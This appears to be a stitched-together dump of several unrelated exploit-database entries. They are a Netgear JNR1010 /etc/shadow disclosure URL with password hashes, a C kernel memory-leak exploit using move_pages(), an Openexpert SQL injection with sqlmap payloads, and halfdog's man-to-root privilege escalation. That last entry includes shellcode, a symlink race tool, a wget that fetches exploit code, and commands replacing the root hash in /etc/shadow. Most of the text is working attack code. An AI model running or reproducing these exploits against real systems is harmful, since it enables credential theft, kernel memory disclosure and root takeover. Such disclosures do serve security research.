-----------------------------------------------------
Scan finished. Check results in scan_output.txt file.

lqwrm@zslab:~# 
            
#!/bin/sh
# 
#  NETGEAR ADSL ROUTER JNR1010 1.0.0.16
#  Authenticated Remote File Disclosure
#
#  Hardware Version:        JNR1010
#  Firmware Version:        1.0.0.16
#  GUI Language Version:    1.0.0.16
# 
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  Thanks to Maya Hristova that support me.  

http://USER:PASSWORD@TARGET:PORT/cgi-bin/webproc?getpage=/etc/shadow&var:language=en_us&var:language=en_us&var:menu=advanced&var:page=basic_home

#  #root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
            
/* sieve (because the Linux kernel leaks like one, get it?)
   Bug NOT discovered by Marcus Meissner of SuSE security
   This bug was discovered by Ramon de Carvalho Valle in September of 2009
   The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
   for the bug (but had forgotten about it until now)
   Ramon's report was sent to Novell's internal bugzilla, upon which 
   some months later Marcus took credit for discovering someone else's bug
   Maybe he thought he could get away with it ;)  Almost ;)

   greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!

   first exploit of 2010, next one will be for a bugclass that has
   afaik never been exploited on Linux before

   note that this bug can also cause a DoS like so:

Unable to handle kernel paging request at ffffffff833c3be8 RIP: 
 [<ffffffff800dc8ac>] new_page_node+0x31/0x48
PGD 203067 PUD 205063 PMD 0 
Oops: 0000 [1] SMP 
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
RIP: 0010:[<ffffffff800dc8ac>]  [<ffffffff800dc8ac>] 
new_page_node+0x31/0x48
RSP: 0018:ffff8100a3c6de50  EFLAGS: 00010246
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
FS:  00002b8481125810(0000) GS:ffffffff803c0000(0000) 
knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task 
ffff81009d8c4080)
Stack:  ffffffff800dd008 ffffc20000077000 ffffffff800dc87b 
0000000000000000
 0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
 00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
Call Trace:
 [<ffffffff800dd008>] migrate_pages+0x8d/0x42b
 [<ffffffff800dc87b>] new_page_node+0x0/0x48
 [<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
 [<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
 [<ffffffff8005d28d>] tracesys+0xd5/0xe0


Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff 
RIP  [<ffffffff800dc8ac>] new_page_node+0x31/0x48
 RSP <ffff8100a3c6de50>
CR2: ffffffff833c3be8
*/

#include <stdio.h>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <errno.h>
#include "exp_framework.h"

#undef MPOL_MF_MOVE
#define MPOL_MF_MOVE (1 << 1)

int max_numnodes;

unsigned long node_online_map;

unsigned long node_states;

unsigned long our_base;
unsigned long totalhigh_pages;

#undef __NR_move_pages
#ifdef __x86_64__
#define __NR_move_pages 279
#else
#define __NR_move_pages 317
#endif

/* random notes I took when writing this (all applying to the 64bit case):

checking in a bitmap based on node_states[2] or node_states[3] 
(former if HIGHMEM is not present, latter if it is)

each node_state is of type nodemask_t, which is is a bitmap of size 
MAX_NUMNODES/8

RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size

so the effective base we're working with is either node_states + 16 or 
node_states + 24

on 2.6.18 it's based off node_online_map

node_isset does a test_bit based on this base

so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))

all the calculations appear to be signed, so we can both index in the 
negative and positive direction, based on ourval

on 64bit, this gives us a 256MB range above and below our base to grab 
memory of 
(by passing in a single page and a single node for each bit we want to 
leak the value of, we can reconstruct entire bytes)

we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
subtracting their difference, and multiplying by 8
but we don't need to do this
*/

struct exploit_state *exp_state;

char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";

int get_exploit_state_ptr(struct exploit_state *ptr)
{
	exp_state = ptr;
	return 0;
}

int requires_null_page = 0;

void addr_to_nodes(unsigned long addr, int *nodes)
{
	int i;
	int min = 0x80000000 / 8;
	int max = 0x7fffffff / 8; 

	if ((addr < (our_base - min)) ||
	    (addr > (our_base + max))) {
		fprintf(stdout, "Error: Unable to dump address %p\n", addr);
		exit(1);
	}

	for (i = 0; i < 8; i++) {
		nodes[i] = ((int)(addr - our_base) << 3) | i;
	}

	return;
}

char *buf;
unsigned char get_byte_at_addr(unsigned long addr)
{
	int nodes[8];
	int node;
	int status;
	int i;
	int ret;
	unsigned char tmp = 0;

	addr_to_nodes(addr, (int *)&nodes);
	for (i = 0; i < 8; i++) {
		node = nodes[i];
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno != ENODEV)
			tmp |= (1 << i);
	}
	
	return tmp;
}	

void menu(void)
{
	fprintf(stdout, "Enter your choice:\n"
			" [0] Dump via symbol/address with length\n"
			" [1] Dump entire range to file\n"
			" [2] Quit\n");
}

int trigger(void)
{
	unsigned long addr;
	unsigned long addr2;
	unsigned char thebyte;
	unsigned char choice = 0;
	char ibuf[1024];
	char *p;
	FILE *f;

	// get lingering \n
	getchar();
	while (choice != '2') {
		menu();
		fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
		choice = ibuf[0];
		
		switch (choice) {
		case '0':
			fprintf(stdout, "Enter the symbol or address for the base:\n");
			fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
			p = strrchr((char *)&ibuf, '\n');
			if (p)
				*p = '\0';
			addr = exp_state->get_kernel_sym(ibuf);
			if (addr == 0) {
				addr = strtoul(ibuf, NULL, 16);
			}
			if (addr == 0) {
				fprintf(stdout, "Invalid symbol or address.\n");
				break;
			}
			addr2 = 0;
			while (addr2 == 0) {
				fprintf(stdout, "Enter the length of bytes to read in hex:\n");
				fscanf(stdin, "%x", &addr2);
				// get lingering \n
				getchar();
			}
			addr2 += addr;
			
			fprintf(stdout, "Leaked bytes:\n");
			while (addr < addr2) {	
				thebyte = get_byte_at_addr(addr);
				printf("%02x ", thebyte);
				addr++;
			}
			printf("\n");
			break;
		case '1':
			addr = our_base -  0x10000000;
#ifdef __x86_64__
			/* 
			   our lower bound will cause us to access
			   bad addresses and cause an oops
			*/
			if (addr < 0xffffffff80000000)
				addr = 0xffffffff80000000;
#else
			if (addr < 0x80000000)
				addr = 0x80000000;
			else if (addr < 0xc0000000)
				addr = 0xc0000000;
#endif
			addr2 = our_base + 0x10000000;
			f = fopen("./kernel.bin", "w");
			if (f == NULL) {
				fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
				exit(1);
			}

			fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
			fflush(stdout);
			while (addr < addr2) {
				thebyte = get_byte_at_addr(addr);
				fputc(thebyte, f);
				if (!(addr % (128 * 1024))) {
					fprintf(stdout, ".");
					fflush(stdout);
				}
				addr++;
			}
			fprintf(stdout, "done.\n");
			fclose(f);
			break;
		case '2':
			break;
		}
	}

	return 0;
}


int prepare(unsigned char *ptr)
{
	int node;
	int found_gap = 0;
	int i;
	int ret;
	int status;

	totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
	node_states = exp_state->get_kernel_sym("node_states");
	node_online_map = exp_state->get_kernel_sym("node_online_map");

	buf = malloc(4096);

	/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
	   towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
	   which will be set for our single node -- this gives us the size of the bitmap
	*/
	for (i = 0; i < 512; i++) {
		node = i;
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno == ENODEV) {
			found_gap = 1;
		} else if (found_gap == 1) {
			max_numnodes = i;
			fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
			break;
		}
	}

	if (node_online_map != 0)
		our_base = node_online_map;
	/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
	   of each bitmap in the array our base is in the middle of
	   we've taken account for all this
	*/
	else if (node_states != 0)
		our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
	else {
		fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
		exit(1);
	}

	return 0;
}

int post(void)
{
	return 0;
}
            
# Title : Openexpert 0.5.17  - Sql Injection
# Author: Nassim Asrir
# Author Company: Henceforth
# Tested on: Winxp sp3 - win7
# Vendor: https://sourceforge.net/projects/law-expert/
# Download Software: https://sourceforge.net/projects/law-expert/files/

#################################################

## About The Product : ##

OpenExpert. Dual use Web based and Easy to Use Expert System or Education System.

## Vulnerability : ## 

- Vulnerable Parametre : area_id

- HTTP Method : GET

- To exploit it : http://HOST/expert_wizard.php?area_id=1'

- Sqlmap Output : 

Parameter: area_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: area_id=1 AND 4961=4961

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: area_id=1 AND (SELECT 8855 FROM(SELECT COUNT(*),CONCAT(0x7171706a71,(SELECT (ELT(8855=8855,1))),0x71626b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: area_id=1 AND SLEEP(5)
---
[15:35:38] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.26
back-end DBMS: MySQL >= 5.0
[15:35:38] [INFO] fetching database names
[15:35:39] [INFO] the SQL query used returns 5 entries
[15:35:39] [INFO] retrieved: information_schema
[15:35:39] [INFO] retrieved: mysql
[15:35:39] [INFO] retrieved: performance_schema
[15:35:39] [INFO] retrieved: sys
[15:35:39] [INFO] retrieved: test
            
/*
EDB Note: 
man:man -> man:root ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
man:root -> root:root ~ http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

CreateSetgidBinary.c ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
DirModifyInotify-20110530.c ~ http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/DirModifyInotify-20110530.c
*/




## man:man -> man:root

Setgid Binary Creater: The program CreateSetgidBinary.c allows to create the suitable setgid binary circumventing the kernel protection. Currently creating an empty setgid executable in /var/cache/man would work but writing as user man will remove the setgid flag silently. Hence let root itself write binary code to it keeping the flags. But that is not so simple:
- Writing an interpreter header would be simple, but start of interpreter in kernel will drop the setgid capability immediately.
- Hence an ELF binary has to be written. The shellcode from below is just 155 bytes to perform setresgid and execute a shell
- We need a SUID binary to write arbitrary data to stdout with similar method already used in SuidBinariesAndProcInterface. But they do not just echo, they may perform some kind of transformation, e.g. use basename of arg0 for printing. To avoid transformation do not use SUID binary directly but let ld-linux fault and write out user supplied data without modifications. The faulting can triggered easily using LowMemoryProgramCrashing from previous work.
- I did not find any SUID binary writing out null-bytes, so they cannot provide the mandatory null-bytes within the ELF header on stdout/stderr. But kernel will help here, just seek beyond end of file before invoking SUID binary, thus filling gap with 0-bytes.
- The SUID binaries do not write only arg0 but also some error message, thus appending unneeded data to the growing file. As kernel does not allow truncation without losing the setgid property, the SUID binary has to be stopped writing more than needed. This can be done using the nice setrlimit(RLIMIT_FSIZE, ... system call.

Program Invocation: Following sequence can be used for testing:

```
root$ su -s /bin/bash man
man$ cd
man$ pwd
/var/cache/man
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  man  0 May 15 02:08 .
man$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
man$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
man$ ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
Completed
man$ ls -al ./escalate 
-rwsrwsr-t 1 man root 155 May 15 02:12 ./escalate
man$ ./escalate /bin/sh
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  root 0 May 15 02:13 .
```


## man:root -> root:root

Finding hardlinking target: To start with, user man has to hardlink a file not owned by user man. Without hardlink protection (/proc/sys/fs/protected_hardlinks set to 0), any root owned system file will do and chown will make it accessible to user man.
Without hardlink protection, user man one could race with find traversing the directories. It seems that new version of find with fts uses secure open and always checks stat of each file inode, both when entering subdirectories and when leaving. So a real hardlink to a file of another user is needed.

Even with hardlink protection, linking to file writable by user man is still allowed, but files have to reside on same file system. On standard Ubuntu Vivid system, there are just few target files:

```
man# find / -mount -type f -perm -0002 2> /dev/null
/var/crash/.lock
man# ls -al /var/crash/.lock
-rwxrwxrwx 1 root root 0 May 23 13:10 /var/crash/.lock
```



Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary is available to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient:

```
man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow
```
If one does not want want PAM or su to write something to logs, trip over some audit/apparmor settings, we may want to make some library directory man-owned and place rogue library variant there.

- - - - -

/* CreateSetgidBinary.c */
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}
/* EOF */

- - - - -

/* DirModifyInotify-20110530.c */

/** This program waits for notify of file/directory to replace
 *  given directory with symlink.
 *  Parameters:
 *  * --LinkTarget: If set, the MovePath is replaced with link to
 *    this path
 *  Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num]
 *      --MovePath [path] --LinkTarget [path] --Verbose
 *  gcc -o DirModifyInotify DirModifyInotify.c
 *
 *  Copyright (c) halfdog <me (%) halfdog.net>
 *  
 *  This software is provided by the copyright owner "as is" to
 *  study it but without any expressed or implied warranties, that
 *  this software is fit for any other purpose. If you try to compile
 *  or run it, you do it solely on your own risk and the copyright
 *  owner shall not be liable for any direct or indirect damage
 *  caused by this software.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>

int main(int argc, char **argv) {
  char	*movePath=NULL;
  char	*newDirName;
  char	*symlinkTarget=NULL;

  int	argPos;
  int	handle;
  int	inotifyHandle;
  int	inotifyDataSize=sizeof(struct inotify_event)*16;
  struct inotify_event *inotifyData;
  int	randomVal;
  int	callCount;
  int	targetCallCount=0;
  int	verboseFlag=0;
  int	ret;

  if(argc<4) return(1);
  inotifyHandle=inotify_init();

  for(argPos=1; argPos<argc; argPos++) {
    if(!strcmp(argv[argPos], "--Verbose")) {
      verboseFlag=1;
      continue;
    }

    if(!strcmp(argv[argPos], "--LinkTarget")) {
      argPos++;
      if(argPos==argc) exit(1);
      symlinkTarget=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MovePath")) {
      argPos++;
      if(argPos==argc) exit(1);
      movePath=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--Watch")) {
      argPos++;
      if(argPos==argc) exit(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
      ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
      if(ret==-1) {
        fprintf(stderr, "Failed to add watch path %s, error %d\n",
            argv[argPos], errno);
        return(1);
      }
      continue;
    }

    if(!strcmp(argv[argPos], "--WatchCount")) {
      argPos++;
      if(argPos==argc) exit(1);
      targetCallCount=atoi(argv[argPos]);
      continue;
    }

    fprintf(stderr, "Unknown option %s\n", argv[argPos]);
    return(1);
  }

  if(!movePath) {
    fprintf(stderr, "No move path specified!\n" \
        "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
        "    --LinkTarget [path]\n");
    return(1);
  }

  fprintf(stderr, "Using target call count %d\n", targetCallCount);

// Init name of new directory
  newDirName=(char*)malloc(strlen(movePath)+256);
  sprintf(newDirName, "%s-moved", movePath);
  inotifyData=(struct inotify_event*)malloc(inotifyDataSize);

  for(callCount=0; ; callCount++) {
    ret=read(inotifyHandle, inotifyData, inotifyDataSize);
    if(callCount==targetCallCount) {
      rename(movePath, newDirName);
//      rmdir(movePath);
      if(symlinkTarget) symlink(symlinkTarget, movePath);
      fprintf(stderr, "Move triggered at count %d\n", callCount);
      break;
    }
    if(verboseFlag) {
      fprintf(stderr, "Received notify %d, ret %d, error %s\n",
          callCount, ret, (ret<0?strerror(errno):NULL));
    }
    if(ret<0) {
      break;
    }
  }
  return(0);
}
/* EOF */